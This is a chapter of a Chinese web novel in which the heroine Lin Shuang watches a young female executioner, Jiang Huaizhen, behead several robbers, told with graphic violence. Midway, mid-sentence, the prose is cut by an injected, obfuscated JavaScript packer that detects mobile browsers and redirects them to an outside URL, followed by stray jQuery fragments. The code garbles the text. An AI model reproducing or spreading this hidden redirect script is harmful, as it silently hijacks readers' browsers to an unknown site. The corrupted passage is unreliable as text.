就在这时,袖子突然被拉了一把。
她猛地转过头,等看清来人,情绪稍微放松了些,勉强挤出一丝笑意:“是你啊。”
王春儿害羞地笑了笑:“我刚刚就说,说不定我们会在这儿碰面,还真给说准了。”
“真是巧了呢。”
林霜说着,侧身让出一个位置,王春儿挤过来,和她站在一处,她母亲抱着孩子落在后边,和同村人站在一块。
王春儿这时才转头望向台上,目光落在那正闭眼站立的年轻刽子手身上,压低声音冲着她道:“这样年轻单薄的刽子手我还是第一次见,以前听说干这一行的都是膀大腰圆的壮汉,这样子的……也不晓得能不能砍得动?”
“都砍了好几天了,应该不会出错。”林霜小声敷衍。
“我也是这么想,这么好看的人,就不该出差错。”
林霜原本紧绷着的心情因为这句话一下子放松了下来,笑道:“照你这么说,长得好看的人不管做什么事都能做得好咯?”
“那当然。”王春儿捂着嘴笑。
“听说是江贵的儿子,老江头吃这门饭几十年,他儿子也不至于那么没出息吧。”旁边有人议论着。
“江贵怎么有儿子,哪个女人愿意嫁给刽子手当媳妇?就不怕被他刀下亡魂给缠上,不得好死吗?”
王春儿也听到了二人的谈话,歪过身子凑到她耳边道:“要是长这样的刽子手,我倒是愿意嫁。”
林霜闻言,转过头挑眉看她。
看着文文静静,说话倒是挺大胆。
小姑娘被她揶揄的眼神给臊得满脸通红,但很快神情又落寞下来,轻轻叹了一声:“可选择夫婿这种事,又哪里能由得咱自个儿做主……”
林霜听到这一句,心也跟着沉了沉。
父母之命,媒妁之言。
那些高门贵女尚且不能为自己的婚姻做主,更何况她们这些小门小户的人家,尤其像她这样无父无母的孤儿。
上一世就是这么任由伯父伯母发卖,坎坷一生不得好死。
幸得老天开眼,才能重活一世。
可这世间有多少女子能跟她一样,有重来一次的机会?
台上差役大声宣读着这五人的犯罪公告,两人低着头小声说话,身边人群依旧议论纷纷。
直到坐在刑台后边的监斩官站起身,高声唱道:“时辰到,斩——”
三叠声唱斩,每唱一声斩,囚犯无不瑟瑟发抖,更有甚者脚下已然一片水渍。
江怀贞原本阖着的眼睛也在这一刻张开。
她抬起抵在地上的鬼头刀,行至第一个死囚身后。
林霜的身子几乎是在监斩官那一个“斩”字中重新绷紧,已经无暇去听王春儿在说什么了,眼睛下意识地往台上寻找江怀贞的身影,手里的包子被她掐得露出馅来。
原本喧闹的场地也在这一瞬间安静下来。
并没有让人等得太久,只见年轻的刽子手手臂倏地一抬,鬼头刀扬在了半空中。
暗日稀薄的光映照在刀身上,众人只觉得眼前一闪,大刀已经落下。
周边百姓的惊呼如潮水漫过耳际。
黑乎乎的首级咚的一声砸在地上,随后打了几个滚,咕噜噜地朝着人群中奔来。
前排人群轰然散开。
林霜心脏咚咚直跳,身子发起抖来。
她不知道是因为第一次目睹行刑场面而心惊,还是因为江怀贞顺利完成第一个任务而引发的情绪喷薄。
旁边的王春儿见她神色不太对劲,忙伸手搀扶住她道:“林霜,你没事吧?你要是看不了,还是别看了。”
林霜摇头,眼睛死死锁住台上那人的身影。
此时的江怀贞已经走到第二个死囚的身后,鬼头刀再次举起来。
台下质疑她的人,哪里还记得前头都说了什么话,眼看人头落地,瞬间变得激动起来,纷纷冲着台上嚷道:“这些人拦路抢劫无恶不作,别让他们死得那么容易,多砍几刀再让他们死——”
也有人仍嘴硬地给自己找补:“才砍了一个呢,谁知道还有没有力气再砍下一个?”
林霜一点都不想江怀贞受下面那些人的干扰,她只希望她能快点行刑完,完成任务,结束眼前这让她几乎喘不过气来的场景。
第二个死囚似乎挺过了心理的那一关,丝毫不在意即将到来的死期,直着脖子骂道:“老子就杀人怎么地,老子地里一颗粮食都没有,不杀人不抢劫老子怎么活——”
“昏官,吃得脑满肠肥,就许你们鱼肉百姓,不许我杀人放火?天理何在——”
说着又转头冲着江怀贞骂道:“为虎作伥的狗东西,砍我啊,朝爷爷脖子上边砍,今日你砍爷爷的头,爷爷作鬼也要缠着你这小白脸,让你夜夜噩梦不能入眠——”
“让你断子绝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123431|164076||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孙不得好死——”
话音还未落,随着他一声惨叫,首级也跟着滚了下来,鲜血从断头处喷出来,淋了一地。
谩骂声似乎还回荡在耳际。
这样的诅咒,江怀贞是不是每次行刑都要听上一次。
她刚踏入刑场的第一天,那日淋着雨,她晚晚才归,一身湿漉漉站在窗口,嘴唇没有一丝血色。
那日她是不是也听到过这样的诅咒?
林霜两条腿突然抖得厉害,根本没有办法支撑她的身子,就这么在人群中蹲了下来,捂住耳朵,不敢去看去听台上的场面,连包子掉在地上都浑然不觉。
王春儿见状,当真以为她是害怕这种场面,弯腰将落在地上的包子拾起来,轻轻拍了拍她的肩膀,又转头往台上看去。
看得津津有味。
不知过了多久,人群中的惊呼一阵接着一阵,直到后面竟传来尖叫声,惊得林霜猛然松开捂耳的手。
她一把抓住王春儿的裙裾,抬头疾声问:“怎么了?”
“最后一个砍了五刀人还没死,刀口好像卷了刃……”王春儿道。
林霜听到这话,嗖地一下赶忙站起身,扶着身边的人急切地朝刑场上望去。
视线已撞见那柄卷刃的鬼头刀,刀刃卡在犯人后颈处,江怀贞修长的身子拉成了一张弓,握刀的手背细细的青筋清晰可见。
死囚扭曲的脖颈正对着林霜的方向,暴凸的眼球让她一瞬间煞白了脸。
这个角度,她能清晰看见江怀贞发梢滴落的汗珠,一颗颗砸在地上。
她感觉自己的心提到了嗓子眼。
刀卷刃了,还能继续下去吗?
但也不过是一息之间的事情,江怀贞抬起了头。
“恶贯满盈者……”她声音有些低缓,“终归不能让他死得那么便宜。”
众人捂着心口。
“不带这样说话大喘气的——”
话未说完,原本还卡着的大刀突然间扬起,紧接着快速落下,而原本身前哭喊辱骂的声音也在这一瞬间戛然而止。
首级滚落在地。
前排那一撮人嗷的一声迅速后退,凹出一个大口子。
这一刻,林霜终于尝到唇齿间的血腥味,心脏随着刑场四周突然爆发的喝彩声剧烈跳动。
[要快点赚到钱,不要让江怀贞再做这个行当了]
她心里迫切地想到。